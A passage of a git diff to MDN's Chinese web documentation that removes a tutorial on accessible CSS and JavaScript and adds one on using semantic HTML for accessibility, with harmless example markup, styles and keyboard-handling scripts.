+ +
+

在本模块中

+ + +
diff --git "a/files/zh-cn/learn/accessibility/css\345\222\214javascript/index.html" "b/files/zh-cn/learn/accessibility/css\345\222\214javascript/index.html" deleted file mode 100644 index bdc3b01b2e..0000000000 --- "a/files/zh-cn/learn/accessibility/css\345\222\214javascript/index.html" +++ /dev/null @@ -1,367 +0,0 @@ ---- -title: CSS 和 JavaScript 无障碍最佳实践 -slug: learn/Accessibility/CSS和JavaScript -tags: - - CSS - - hiding - - unobtursive - - 初学者 - - 对比 - - 导航 - - 文章 - - 无障碍 - - 编码脚本 - - 颜色 -translation_of: Learn/Accessibility/CSS_and_JavaScript ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}
- -

当CSS和JavaScript使用得当,很有可能改善Web访问体验,相反如果滥用的话,则会极大的损害可访问性。本文概述了一些应该被考虑的CSS和JavaScript 的最佳实践,这些实践保证了即使是复杂的内容也可以尽可能容易的被访问。

- - - - - - - - - - - - -
准备: -

基本的计算机读写能力,对HTML、CSS和JavaScript的基本理解,以及对可访问性的理解。

-
目标:熟悉在 Web 文档中适当地使用 CSS 和 JavaScript,以最大限度地提高可访问性,并且不损害它。
- -

CSS和JavaScript是可访问的吗?

- -

CSS和JavaScript对于作为HTML的可访问性没有直接的重要性,但是它们仍然能够帮助或破坏可访问性,这取决于它们是如何使用的。换句话说,重要的是考虑一些最佳实践建议,以确保使用CSS和JavaScript不会破坏文档的可访问性。

- -

CSS

- -

让我们从CSS开始吧!

- -

正确的语义和用户期望

- -

可以使用 CSS 使任何 HTML 元素看起来像任何东西,但这并不意味着您应该这样做。正如我们经常提到的HTML: A good basis for accessibility,您应该尽可能为作业使用适当的语义元素。如果不这样做,它可能会导致混乱和可用性问题,对每个人,尤其是残障用户。使用正确的语义与用户期望有很大的帮助 –– 元素的外观和功能会根据它们的功能进行某些方式的显示,而且用户期望这些常见的约定。

- -

例如,如果开发人员没有适当地使用标题元素标记内容,则屏幕阅读器用户无法通过标题元素导航页面。同样,如果对标题进行样式设置,则标题将失去其视觉目的,使其看起来不像标题。

- -

经验法则是,您可以更新页面功能的样式以适应您的设计,但不要更改它太多,使其不再按预期的外观或活动。以下各节总结了要考虑的主要 HTML 功能。

- -

“标准”的内容结构

- -

标题、段落、列表和页面的核心文本内容:

- -
<h1>Heading</h1>
-
-<p>Paragraph</p>
-
-<ul>
-  <li>My list</li>
-  <li>has two items.</li>
-</ul>
- -

一些典型的 CSS 如下所示:

- -
h1 {
-  font-size: 5rem;
-}
-
-p, li {
-  line-height: 1.5;
-  font-size: 1.6rem;
-}
- -

你应该:

- - - -

有关详细信息,请参阅 HTML text fundamentalsStyling text

- -

强调的文本

- -

内联标记,赋予其包裹的文本特别强调:

- -
<p>The water is <em>very hot</em>.</p>
-
-<p>Water droplets collecting on surfaces is called <strong>condensation</strong>.</p>
- -

您可能希望向强调的文本添加一些简单的颜色:

- -
strong, em {
-  color: #a60000;
-}
- -

但是,您很少需要以任何显著的方式设置强调元素的样式。粗体和斜体文本的标准约定非常容易识别,更改样式可能会导致混淆。有关强调的更多信息,请参阅Emphasis and importance

- -

缩写

- -

允许缩写、首字母缩略词或初始化与其扩展关联的元素:

- -
<p>Web content is marked up using <abbr title="Hypertext Markup Language">HTML</abbr>.</p>
- -

同样,您可能希望以某种简单方式设置样式:

- -
abbr {
-  color: #a60000;
-}
- -

缩写的公认样式约定是虚线下划线,偏离这一原则明显是不明智的。有关缩写的更多,请参阅Abbreviations

- -

链接

- -

超链接 — 您到达新网站的方式:

- -
<p>Visit the <a href="https://www.mozilla.org">Mozilla homepage</a>.</p>
- -

一些非常简单的链接样式如下所示:

- -
a {
-  color: #ff0000;
-}
-
-a:hover, a:visited, a:focus {
-  color: #a60000;
-  text-decoration: none;
-}
-
-a:active {
-  color: #000000;
-  background-color: #a60000;
-}
- -

标准链接约定为下划线,标准状态为不同颜色(默认:蓝色),以前访问过链接时另一种颜色变化(默认:紫色),以及激活链接时的另一种颜色(默认:红色)。此外,当链接被鼠标悬停时,鼠标指针将变为指针图标,并且链接在聚焦(例如通过 tabbing)或激活时变成高亮。下图显示了 Firefox(虚线轮廓)和 Chrome(蓝色轮廓)中的高光:

- -

- -

- -

您可以使用链接样式进行创意,只要用户在与链接交互时不断提供反馈即可。当状态发生变化时,确实应该发生某些情况,并且不应删除指针光标或大纲 - 对于使用键盘控件的人来说,两者都是非常重要的辅助功能。

- -

表单元素

- -

允许用户将数据输入到网站的元素:

- -
<div>
-  <label for="name">Enter your name</label>
-  <input type="text" id="name" name="name">
-</div>
- -

您可以在我们的form-css.html 示例中看到一些很好的示例 CSS(查看示例)。

- -

您将为表单编写的大多数 CSS 将用于调整元素大小、排列标签和输入,以及让它们看起来整洁。

- -

但是,您不应过多偏离元素在聚焦时接收的预期视觉反馈表单,这与链接基本相同(见上文)。您可以设置焦点/悬停状态样式,使这种行为在浏览器中更加一致,或者更适合您的页面设计,但不要完全摆脱它 ––同样,人们依靠这些线索来帮助他们了解发生了什么。

- -

表格

- -

用于显示表格数据的表。

- -

您可以在table-css.html示例中看到表 HTML 和 CSS 的一个很好的简单示例(查看示例)。

- -

表 的CSS 通常使表更适合您的设计,看起来不那么难看。最好确保表标题醒目(通常使用粗体),并使用斑马条带化使不同的行更易于解析。

- -

颜色和颜色对比度

- -

为网站选择配色方案时,请确保文本(前景)颜色与背景颜色对比度良好。您的设计可能看起来很酷,但如果有视觉障碍(如色盲)的人无法阅读您的内容,则设计就无一好可做。

- -

有一个简单的方法来检查您的对比度是否足够大,不会引起问题。有许多对比检查工具可以在线输入您的前景和背景颜色,以检查它们。例如,WebAIM 的颜色对比度检查器易于使用,并说明了您需要满足有关颜色对比度的 WCAG 标准的内容。

- -
-

注意:高对比度还允许任何使用带有光面屏幕的智能手机或平板电脑的人在明亮的环境中(如阳光)更好地阅读页面。

-
- -

另一个提示是不要仅仅依靠颜色来提供路标/信息,因为对于那些看不到颜色的人来说,这没有什么用。例如,不要用红色标记所需的表单字段,而是用星号和红色标记它们。

- -

隐藏的东西

- -

在很多情况下,可视化设计需要并非同时显示所有内容。例如,在我们的Tabbed info box example (请参阅源码),我们有三个信息面板,但我们将它们放在彼此之上,并提供可以单击以显示每个选项卡的选项卡(也可以使用键盘 - 您也可以使用 Tab 和 Enter/Return以选择它们)。

- -

- -

屏幕阅读器用户并不关心这些内容 , 只要资源的顺序有意义,他们就对内容感到满意, 并且他们可以获得所有内容。绝对定位(如本示例所示)通常被视为隐藏内容以进行视觉效果的最佳机制之一,因为它不会阻止屏幕阅读器访问它。

- -

另一方面,不应使用 {{cssxref("visibility")}}:hidden或 {{cssxref("display")}}:none,因为它们会隐藏屏幕阅读器中的内容。当然,除非您希望从屏幕阅读器中隐藏此内容,这是有充分理由的。

- -
-

注意:Invisible Content Just for Screen Reader Users有围绕本主题的更多有用详细信息。

-
- -

接受用户覆盖样式

- -

接受用户覆盖您的样式

- -

用户可以使用自己的自定义样式覆盖样式,例如:

- - - -

用户可能出于各种原因执行此操作。视力受损的用户可能希望使其访问的所有网站上的文本变大,严重色缺乏(severe color difeciency)的用户可能希望将所有网站置于易于查看的高对比度颜色中。无论需要什么,您都应该对此感到满意,并使您的设计足够灵,以便此类更改在您的设计中起作用。例如,您可能希望确保主要内容区域可以处理较大的文本(可能它将开始滚动以允许查看所有文本),并且不会只是隐藏它,或者完全中断。

- -

JavaScript

- -

JavaScript 还可能会中断可访问性,具体取决于其使用方式。

- -

现代 JavaScript 是一种功能强大的语言,如今我们可以使用它,从简单的内容和 UI 更新到成熟的 2D 和 3D 游戏。没有任何规则规定所有内容都必须对所有人 100% 可访问 ––您只需尽力而为,并使你的应用尽可能可访问。

- -

简单的内容和功能可以说是很容易使访问 - 例如文本,图像,表格,窗体和按钮,激活功能。正如我们在 HTML: A good basis for accessibility文中提到的,主要注意事项包括:

- - - -

我们还查看了如何使用 JavaScript 在缺少功能的地方构建的示例 , 请参阅 Building keyboard accessibility back in。这不是理想的 - 实际上,你应该只使用正确的元素为正确的作业 –– 但它表明在情况下它是可能的,由于某种原因,你不能控制使用的标记。提高非语义 JavaScript 支持的小部件的可访问性的另一种方法是使用 WAI-ARIA 为屏幕阅读器用户提供额外的语义。下一篇文章还将详细介绍这一点。

- -

复杂的功能,如3D游戏是不容易提高可访问性的 ––使用WebGL创建的复杂3D游戏将在 {{htmlelement("canvas")}}元素上呈现,该元素目前没有提供文本替代或其他信息的功能视障用户使用。可以说,这样的游戏并没有真正有这群人作为它的主要目标观众的一部分,这将是不合理的,期望你使它100%访问盲人,但你可以实现键盘控制,所以它可以使用非鼠标用户,并使配色方案的对比度足以让有颜色缺陷的人使用。

- -

太多JavaScript导致的问题

- -

过于依赖JavaScript会导致许多问题。有时你会看到一个网站,其中一切都已经用JavaScript完成 ––JavaScript生成HTML,CSS等等。随之而来,会出现各种可访问性问题,因此这样做是不建议的。

- -

正确的工作需要使用正确的元素和技术!仔细考虑:消息框是否必须用JavaScript 3D实现,纯文本是否就刚好。仔细考虑是否需要复杂的非标准表单小部件,或者文本输入是否就行。如果可能,不要使用 JavaScript 生成所有 HTML 内容。

- -

保持别抢眼

- -

在创建内容时,应牢记 unobtrusive JavaScript原则。unobtrusive JavaScript 的想法是,它应该尽可能用于增强功能,而不是完全构建它 - 基本功能最好在没有 JavaScript 的情况下正常工作,尽管人们认识到,这并不总是一个选项。但同样,它的大部分是尽可能使用内置的浏览器功能。

- -

unobtrusive JavaScript 使用的良好示例包括:

- - - -

例如,我们编写了一个快速而糟糕的客户端客户端表单验证示例 — 请参form-validation.html(see the demo live)。在示例中,你会看到一个简单的表格;当您尝试提交一个或两个字段为空的表单时,提交将失败,并且会出现一个错误消息框,告诉您出了什么问题。

- -

这种表单验证并不引人注目 - 在 JavaScript 不可用的情况下,您仍然可以很好的使用表单,并且任何合理的表单实现都将激活服务器端验证,因为恶意用户很容易绕过客户端验证(例如,通过在浏览器中关闭 JavaScript)。客户端验证对于报告错误仍然非常有用 ––用户可以立即了解他们所犯的错误,而不必等待到服务器的往返和页面重新加载。这是一个明确的可用性优势。

- -
-

注意:此简单示例中尚未实现服务器端验证。

-
- -

我们使此表单验证非常容易访问。我们使用 {{htmlelement("label")}}元素来确保表单标签明确链接到其输入,因此屏幕阅读器可以一起读取它们:

- -
<label for="name">Enter your name:</label>
-<input type="text" name="name" id="name">
- -

我们仅在提交表单时执行验证— 这样,我们就不会过于频繁地更新 UI,并可能混淆屏幕阅读器(可能还有其他)用户:

- -
form.onsubmit = validate;
-
-function validate(e) {
-  errorList.innerHTML = '';
-  for(var i = 0; i < formItems.length; i++) {
-    var testItem = formItems[i];
-    if(testItem.input.value === '') {
-      errorField.style.left = '360px';
-      createLink(testItem);
-    }
-  }
-
-  if(errorList.innerHTML !== '') {
-    e.preventDefault();
-  }
-}
- -
-

注意:在此示例中,我们使用绝对定位而不是其他方法(如可见性或显示)隐藏和显示错误消息框,因为它不会干扰屏幕阅读器从中读取内容。

-
- -

实际表单验证会比这复杂得多 - 您需要检查输入的名称实际上看起来像一个名称,输入的年龄实际上是一个数字,并且与真实情况符合(例如,不是负数或四位数字)。在这里,我们刚刚实现了一个简单的验证,是否将值填充到每个输入字段(if(testItem.input.value === ''))。

- -

执行验证后,如果测试通过,则提交表单。如果存在错误(if(errorList.innerHTML !== '')) ,则我们停止表单提交(使用preventDefault()),并显示已创建的任何错误消息(见下文)。此机制意味着只有存在错误时才会显示错误消息,这是一个明确的可用性优势。

- -

对于提交表单时没有填写值的每个输入,我们创建一个包含链接的列表项,并将其插入到 errorList 中。

- -
function createLink(testItem) {
-  var listItem = document.createElement('li');
-  var anchor = document.createElement('a');
-  anchor.textContent = testItem.input.name + ' field is empty: fill in your ' + testItem.input.name + '.';
-  anchor.href = '#' + testItem.input.name;
-  anchor.onclick = function() {
-    testItem.input.focus();
-  };
-  listItem.appendChild(anchor);
-  errorList.appendChild(listItem);
-}
- -

每个链接都有双重用途 - 它不仅告诉您错误是什么,而且可以单击它/激活它直接跳转到有问题的输入元素,并且更正输入。

- -
-

注意:此示例的 focus() 部分有点棘手。Chrome 和 Edge(以及较新版本的 IE)将在单击链接时聚焦元素,而无需onclick/focus()代码块。Safari 只会突出显示表单元素,并自行显示链接,因此需要 onclick/focus()代码块来实际聚焦它。Firefox 没有在上下文中正确的聚焦输入,因此 Firefox 用户目前无法利用这一点(尽管其他一切都正常)。Firefox 问题应该尽快会得到修复 — 现在的工作是使 Firefox 行为与其他浏览器的行为相同(参见 {{bug(277178)}})。

-
- -

此外,errorField 被放置在源顺序的顶部(与 UI 中使用 CSS时相比,位置不同),这意味着用户可以准确找出表单提交时的问题,并通过返回到页面的开头,来获悉有问题的输入元素。

- -

最后,我们在演示中使用了一些 WAI-ARIA 属性,以帮助解决因为内容区域不断更新而未重新加载页面,导致的辅助功能问题(默认情况下,屏幕阅读器不会选取该属性或提醒用户):

- -
<div class="errors" role="alert" aria-relevant="all">
-  <ul>
-  </ul>
-</div>
- -

我们将在下一篇文章中解释这些属性,其中将更详细地介绍 WAI-ARIA 。

- -
-

注意:一些人可能会考虑这样一个事实,即 HTML5 表单有内置的验证机制,如requiredmin/minlengthmax/maxlength属性(详细信息,请参阅 {{htmlelement("input")}}元素引用)。我们最终没有在演示中使用这些功能,因为不是所有的浏览器都支持(例如,仅 IE10 及以上版本支持,Safari不支持)。

-
- -
-

注意:WebAIM 的Usable and Accessible Form Validation and Error Recovery提供了一些有关可访问表单验证的更多的有用信息。

-
- -

其他 JavaScript 可访问性问题

- -

在实现 JavaScript 和考虑可访问性时,还有其他需要注意的事项。一旦发现将会添加更多。

- -

鼠标特定事件

- -

正如你所知,客户端JavaScript使用事件处理程序,实现大多数用户交互,它允许我们运行函数以响应某些事件的发生。某些事件可能有辅助功能问题。您将遇到的主要示例是鼠标特定的事件,如鼠标悬停( mouseover)、鼠标划出(mouseout)、双击(dblclick) 等。使用其他机制(如键盘控件)无法访问为这些事件而运行的功能。

- -

为了缓解此类问题,您应该将这些事件与可以通过其他方式(所谓的设备独立事件处理程序)激活的类似事件相结合 —— focusblur将为键盘用户提供可访问性。

- -

让我们看一个示例:突出显示了何时可能有用。我们想要实现一个缩略图:当鼠标悬停或聚焦在图像上,可以放大图像(正如电子商务产品目录所展示的)。

- -

我们做了一个非常简单的示例,您可以在mouse-and-keyboard-events.html 中找到(另请参阅源码)。该代码具有显示和隐藏放大图像的两个函数;它由以下几行行实现,这些行将它们设置为事件处理程序:

- -
imgThumb.onmouseover = showImg;
-imgThumb.onmouseout = hideImg;
-
-imgThumb.onfocus = showImg;
-imgThumb.onblur = hideImg;
- -

当鼠标指针在缩略图上悬停或者移开,将分别调用前两行代码。此时不允许我们通过键盘访问缩略图 —— 为了允许这一点,我们调用后两行代码,它们在图像聚焦和失焦时(聚焦停止)运行函数。这可以在图像加tab键实现,因为我们为图像的属性设置tabindex="0"

- -

Click 事件很有趣 ––听起来它依赖于鼠标,但是大多数的浏览器,在有焦点的链接或者表单元素上,按下 enter/return 之后,或者在触屏设备上点击一个元素,都将会激活 onclick 事件处理程序。但是,当您允许非默认可聚焦事件使用 tabindex 进行焦点处理时,默认情况下不起作用 , 在这种情况下,您需要在按下确切键时进行专门检测(请参阅Building keyboard accessibility back in)。

- -

总结

- -

我们希望这篇文章在网页设计中关于CSS和JavaScript的无障碍问题提供了足够多的细节。

- -

下一篇内容是,WAI-ARIA!

- -
{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}
- -
-

在本模块中

- - -
diff --git a/files/zh-cn/learn/accessibility/html/index.html b/files/zh-cn/learn/accessibility/html/index.html new file mode 100644 index 0000000000..beeb753338 --- /dev/null +++ b/files/zh-cn/learn/accessibility/html/index.html @@ -0,0 +1,542 @@ +--- +title: 'HTML: 为可访问性提供一个良好的基础' +slug: 'learn/Accessibility/HTML:为可访问性提供一个良好的基础' +translation_of: Learn/Accessibility/HTML +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}
+ +

在网页开发的过程中,用正确的HTML标签来表达正确的意图,可以提升网页的可访问性。这篇文章将会详细介绍如何最大化地提升网页的可访问性。

+ + + + + + + + + + + + +
前提:有一定的HTML基础(可参阅 HTML入门),理解什么是可访问性
目标:了解可访问性为网页带来的好处和如何在网页中进行实现。
+ +

HTML 和可访问性

+ +

在学习HTML的过程当中,经常可以看到这样一个主题:HTML语义化的重要性。意思是指我们应尽可能地用正确的HTML标签来表达正确的意图。

+ +

你可能在想,为什么语义化对于一个网页来说如此重要。总的来说,正确的语义化可使 CSS 和  JavaScript 更为便利地操作网页的样式和行为。例如,一个用来操作视频播放的按钮可以写成这样一种形式:

+ +
<div>Play video</div>
+ +

接下来你将看到一种更好的写法,它使用了正确的HTML标签,看上去更加合理:

+ +
<button>Play video</button>
+ +

<button>标签不仅提供了按钮的样式(虽然有时会重新编写样式),还提供了键盘的可访问性,如:使用tab键更换按钮,使用回车键点击按钮。

+ +

如果你在项目的一开始就使用HTML语义化,不仅不会花更多的时间,而且又有以下的可访问性优点:

+ +
    +
  1. 更便于开发 — 如上所述,你可以使HTML更易于理解,并且可以毫不费力的获得一些功能。
  2. +
  3. 更适配移动端 — 语义化的HTML文件比非语义化的HTML文件更加轻便,并且更易于响应式开发。
  4. +
  5. 更便于SEO优化 — 比起使用非语义化的<div>标签,搜索引擎更加重视在“标题、链接等”里面的关键字,使用语义化可使网页更容易被用户搜索到。
  6. +
+ +

让我们来继续学习HTML语义化实现细则。

+ +
+

注意:在本地计算机上设置屏幕阅读器是一个不错的主意,因此您可以对下面显示的示例进行一些测试。更多内容请查阅 Screenreaders guide

+
+ +

良好的语义

+ +

上面我们讨论了语义化的重要性以及为什么我们要使用正确的HTML标签来表达正确的意图。语义化是我们不可忽视的一部分,因为它往往决定了网页的可访问性。

+ +

在网络上,事实上人们用HTML标签做一些非常奇怪的事情。人们滥用一些即将废弃或已经废弃的标签。不管在什么情况下,我们都应该将这些错误的代码改正过来。

+ +

话虽如此,但是有些情况我们往往不能摆脱错误的标签,例如一个网页是从服务端的框架生成的,或者网页上存在第三方的内容(如广告),这些都是我们所不能控制的。

+ +

我们的目标并不是“全有或全无”,实际上,你所做的每一个改进都可以提升网页的可访问性。

+ +

文本内容

+ +

对于屏幕阅读器用户来讲,最佳辅助功能之一是拥有标题,段落,列表等内容的良好结构。一个好的语义示例可能如下所示:

+ +
<h1>My heading</h1>
+
+<p>This is the first section of my document.</p>
+
+<p>I'll add another paragraph here too.</p>
+
+<ol>
+  <li>Here is</li>
+  <li>a list for</li>
+  <li>you to read</li>
+</ol>
+
+<h2>My subheading</h2>
+
+<p>This is the first subsection of my document. I'd love people to be able to find this content!</p>
+
+<h2>My 2nd subheading</h2>
+
+<p>This is the second subsection of my content. I think is more interesting than the last one.</p>
+ +

我们已经准备了一个更长的文本版本,供您试用于屏幕阅读器(请查看 good-semantics.html)。如果您尝试在此过程中导航,您将看到这非常容易导航:

+ +
    +
  1. 屏幕阅读器会在您浏览内容时读取每个标题,通知您标题是什么,段落是什么等。
  2. +
  3. 它在每个元素之后停止,让你以任何适合你的速度前进。
  4. +
  5. 你可以在许多屏幕阅读器中跳到下一个/上一个标题。
  6. +
  7. 你还可以在许多屏幕阅读器中显示所有标题的列表,使您可以像使用便利的目录一样使用它们以查找特定内容。
  8. +
+ +

人们有时会使用表现性 HTML 和换行符来编写标题,段落等,如下所示:

+ +
<font size="7">My heading</font>
+<br><br>
+This is the first section of my document.
+<br><br>
+I'll add another paragraph here too.
+<br><br>
+1. Here is
+<br><br>
+2. a list for
+<br><br>
+3. you to read
+<br><br>
+<font size="5">My subheading</font>
+<br><br>
+This is the first subsection of my document. I'd love people to be able to find this content!
+<br><br>
+<font size="5">My 2nd subheading</font>
+<br><br>
+This is the second subsection of my content. I think is more interesting than the last one.
+ +

如果你使用屏幕阅读器试用更长内容的版本(请查阅 bad-semantics.html),你不会有一个很好的经验 — 屏幕阅读器没有任何东西可以用作路标,所以你无法检索有用的目录,整个页面被看作一个巨大的块,所以它只是一次读出所有的内容。

+ +

除了可访问性之外,还有其他一些问题 - 使用CSS设计内容的风格更难,或者使用JavaScript来操作它比较困难,因为没有可用作选择器的元素。

+ +

使用通俗易懂的语言

+ +

你使用的语言也会影响可访问性。一般来说,你应该使用不太复杂的清晰语言,不要使用不必要的行话或俚语。这不仅有利于有认知或其他残疾的人;它有利于那些没有用母语写作的读者,年轻人...事实上是每个人!除此之外,你应该尽量避免使用没有被屏幕阅读器清楚读出的语言和字符。例如:

+ + + +

页面布局

+ +

在旧时代,人们曾经使用HTML表格创建页面布局 - 使用不同的表格单元格来包含页眉,页脚,边栏,主要内容栏等。这不是一个好主意,因为屏幕阅读器可能会读出给人造成困惑的结果,特别是如果布局复杂,并且有许多嵌套表格的话。

+ +

试试我们的例子table-layout.html,它看起来像这样:

+ +
<table width="1200">
+      <!-- main heading row -->
+      <tr id="heading">
+        <td colspan="6">
+
+          <h1 align="center">Header</h1>
+
+        </td>
+      </tr>
+      <!-- nav menu row  -->
+      <tr id="nav" bgcolor="#ffffff">
+        <td width="200">
+          <a href="#" align="center">Home</a>
+        </td>
+        <td width="200">
+          <a href="#" align="center">Our team</a>
+        </td>
+        <td width="200">
+          <a href="#" align="center">Projects</a>
+        </td>
+        <td width="200">
+          <a href="#" align="center">Contact</a>
+        </td>
+        <td width="300">
+          <form width="300">
+            <input type="search" name="q" placeholder="Search query" width="300">
+          </form>
+        </td>
+        <td width="100">
+          <button width="100">Go!</button>
+        </td>
+      </tr>
+      <!-- spacer row -->
+      <tr id="spacer" height="10">
+        <td>
+
+        </td>
+      </tr>
+      <!-- main content and aside row -->
+      <tr id="main">
+        <td id="content" colspan="4" bgcolor="#ffffff">
+
+          <!-- main content goes here -->
+        </td>
+        <td id="aside" colspan="2" bgcolor="#ff80ff" valign="top">
+          <h2>Related</h2>
+
+          <!-- aside content goes here -->
+
+        </td>
+      </tr>
+      <!-- spacer row -->
+      <tr id="spacer" height="10">
+        <td>
+
+        </td>
+      </tr>
+      <!-- footer row -->
+      <tr id="footer" bgcolor="#ffffff">
+        <td colspan="6">
+          <p>©Copyright 2050 by nobody. All rights reversed.</p>
+        </td>
+      </tr>
+    </table>
+ +

如果您尝试使用屏幕阅读器浏览此内容,它可能会告诉您需要查看一个表格(尽管某些屏幕阅读器可以猜测表格布局和数据表格之间的区别)。 然后,您可能(取决于您使用的屏幕阅读器)必须需要进入到表格对象中,并单独地查看表格的内容,然后再次离开表格,以继续浏览其他内容。

+ +

用表格布局网页是过去旧时代的遗迹 - 在“CSS”在浏览器中并不普遍被支持时,它们是有意义的,但是它们会为屏幕阅读器用户造成混淆,并且由于许多其他原因变得很糟糕(滥用表格,可能因此需要更多的标记, 使设计更不灵活)。不要这样做!

+ +

您可以通过将您之前的体验与 更现代的网站结构示例 进行比较,来验证这些声明,该示例如下所示:

+ +
<header>
+  <h1>Header</h1>
+</header>
+
+<nav>
+  <!-- main navigation in here -->
+</nav>
+
+<!-- Here is our page's main content -->
+<main>
+
+  <!-- It contains an article -->
+  <article>
+    <h2>Article heading</h2>
+
+    <!-- article content in here -->
+  </article>
+
+  <aside>
+    <h2>Related</h2>
+
+    <!-- aside content in here -->
+  </aside>
+
+</main>
+
+<!-- And here is our main footer that is used across all the pages of our website -->
+
+<footer>
+  <!-- footer content in here -->
+</footer>
+ + + +

如果您使用屏幕阅读器阅读更现代的结构示例,则会看到布局标记不再会妨碍内容的读取。 它在代码大小方面也更加精简和小巧,这意味着代码更容易维护,并且用户下载的带宽更少(特别适合慢速连接的用户)。

+ +

创建布局时的另一个考虑因素是使用HTML5语义元素,如上例所示(请参阅 此内容部分) - 您只能使用嵌套的 {{htmlelement("div")}} 元素创建布局,但最好使用适当的分段元素包裹您的主导航({{htmlelement("nav")}}),footer ({{htmlelement("footer")}}),重复内容单元  ({{htmlelement("article")}}) 等 。这些为屏幕阅读器(和其他工具)提供额外的语义,为用户提供有关他们正在浏览的内容的额外信息(请参阅 屏幕阅读器支持的新的HTML5章节元素 ,了解屏幕阅读器的支持是什么样的原理)。

+ +
+

注意:除了您的内容具有良好的语义和有吸引力的布局之外,它的源代码顺序应该是合理的 - 您可以随时将它放在您想要使用CSS的位置,但是您应该先从源代码开始, 如此这样,屏幕阅读器读取给他们的内容将会非常便于理解。

+
+ +

UI 控制

+ +

通过UI控件,我们指的是与用户交互的Web文档的主要部分 - 通常是按钮,链接和表单控件。 在本节中,我们将介绍创建此类控件时要注意的基本可访问性问题。 稍后关于WAI-ARIA和多媒体的文章将着眼于UI可访问性的其他方面。

+ +

UI控件可访问性的一个关键方面是,默认情况下,浏览器允许用户通过键盘操作它们。 您可以使用我们的 native-keyboard-accessibility.html 示例(请参阅 源代码 )。尝试此操作 - 在新选项卡中打开此项,然后尝试按Tab键; 几次按下后,您应该看到标签焦点开始移动到不同的元素; 在每个浏览器中,获得焦点元素都会有一个“突出显示“的默认样式(它在不同浏览器之间略有不同),以便您可以确定当前哪些元素获得焦点。

+ +

+ +

接着你可以按Enter / Return来追踪当前获得焦点的链接,或者按按钮来实现(我们已经使用JavaScript使按钮同时显示提示消息),或者开始在文本输入中输入文本(其他表单元素具有不同的控件, 例如 {{htmlelement("select")}} 元素拥有自己的显示选项, 可以使用向上和向下箭头键进行循环)。

+ +
+

注意:不同的浏览器可能有不同的键盘控制选项。 请参阅 使用本机键盘辅助功能 获取更多详细信

+
+ +

实际上,您只需使用适当的元素即可免费获得此功能,例如,

+ +
<h1>Links</h1>
+
+<p>This is a link to <a href="https://www.mozilla.org">Mozilla</a>.</p>
+
+<p>Another link, to the <a href="https://developer.mozilla.org">Mozilla Developer Network</a>.</p>
+
+<h2>Buttons</h2>
+
+<p>
+  <button data-message="This is from the first button">Click me!</button>
+  <button data-message="This is from the second button">Click me too!</button>
+  <button data-message="This is from the third button">And me!</button>
+</p>
+
+<h2>Form</h2>
+
+<form>
+  <div>
+    <label for="name">Fill in your name:</label>
+    <input type="text" id="name" name="name">
+  </div>
+  <div>
+    <label for="age">Enter your age:</label>
+    <input type="text" id="age" name="age">
+  </div>
+  <div>
+    <label for="mood">Choose your mood:</label>
+    <select id="mood" name="mood">
+      <option>Happy</option>
+      <option>Sad</option>
+      <option>Angry</option>
+      <option>Worried</option>
+    </select>
+  </div>
+</form>
+ + + +

这意味着适当地使用链接,按钮,表单元素和标签(包括表单控件的 {{htmlelement("label")}} 元素)。

+ +

然而,人们有时候会用HTML做奇怪的事情。 例如,您有时会看到使用 {{htmlelement("div")}} 标记的按钮,例如:

+ +
<div data-message="This is from the first button">Click me!</div>
+<div data-message="This is from the second button">Click me too!</div>
+<div data-message="This is from the third button">And me!</div>
+ +

但是不建议使用这样的代码 - 你会立即失去本机键盘的可访问性。但如果你使用了{{htmlelement("button")}} 元素,你将可以通过键盘控制。 此外你也将不会获得任何的按钮默认拥有的CSS样式。

+ +

重新建立键盘的可访问性

+ +

重新添加这些优点需要一些工作(您可以在我们的 fake-div-buttons.html 示例中使用示例代码 - 另请参阅 源代码 )。 在这里,我们通过赋予每个 <div> 按钮属性tabindex =“0” 来使它能够被聚焦(包括通过选项卡):

+ +
<div data-message="This is from the first button" tabindex="0">Click me!</div>
+<div data-message="This is from the second button" tabindex="0">Click me too!</div>
+<div data-message="This is from the third button" tabindex="0">And me!</div>
+ +

基本上,{{htmlattrxref("tabindex")}} 属性主要用于允许 tabbable 元素具有自定义Tab键顺序(以正数顺序指定),而不是仅按其默认源顺序进行标记。 这几乎总是一个糟糕的主意,因为它可能会造成重大混乱。 例如,如果布局以与源代码非常不同的视觉顺序显示事物,而且你想让事情更符合逻辑。 这里 tabindex 有另外两个选项:

+ + + +

虽然上面的添加允许我们用 tab 选择按钮,但它不允许我们通过 Enter / Return 键来激活它们。 要做到这一点,我们必须添加下面的 JS 小绝招(JavaScript trickery):

+ +
document.onkeydown = function(e) {
+  if(e.keyCode === 13) { // The Enter/Return key
+    document.activeElement.onclick(e);
+  }
+};
+ +

在这里,我们向文档对象 document 添加一个侦听器,以检测什么时候键盘上按下按钮 我们通过事件对象 event objectkeyCode 属性,检查用户按下了哪个按钮; 如果它是与 Return / Enter 匹配的关键代码,我们通过按钮的 onclick 函数,即 document.activeElement.onclick()activeElement 提供给我们页面当前被focused的元素。

+ +

我们使用document.activeElement.onclick()运行存储在按钮的onclick处理函数中的函数。 activeElement 为我们提供了当前关注页面的元素。

+ +
+

注意:您应该记住,只有通过事件处理程序属性(例如onclick)设置原始事件处理程序,此技巧才会起作用。 addEventListener 将不起作用。

+
+ +

这对于重新构建功能而言是一个额外的麻烦。而且这肯定会带来其他问题。 使用正确的元素处理正确的工作是非常重要的。(Better to just use the right element for the right job in the first place.

+ +

有意义的文字标签

+ +

用户界面控件的 文本标签 对所有用户都非常有用,但是对于残疾用户来说,让他们正确使用尤其重要。

+ +

你应该确保你的按钮和链接文本标签是可以理解和独特的。 不要使用“点击这里”("Click here")此类的标签,因为屏幕阅读器用户有时会列出按钮和表格控件列表。 以下屏幕截图显示了我们的控件在Mac上由 VoiceOver 列出。

+ +

+ +

确保您的标签在上下文中有意义,可以单独阅读,也可以在他们所在的段落的上下文中进行阅读。例如,下面显示了良好链接文本的示例:

+ +
<p>Whales are really awesome creatures. <a href="whales.html">Find out more about whales</a>.</p>
+ +

但这是不好的链接文字:

+ +
<p>Whales are really awesome creatures. To find more out about whales, <a href="whales.html">click here</a>.</p>
+ +
+

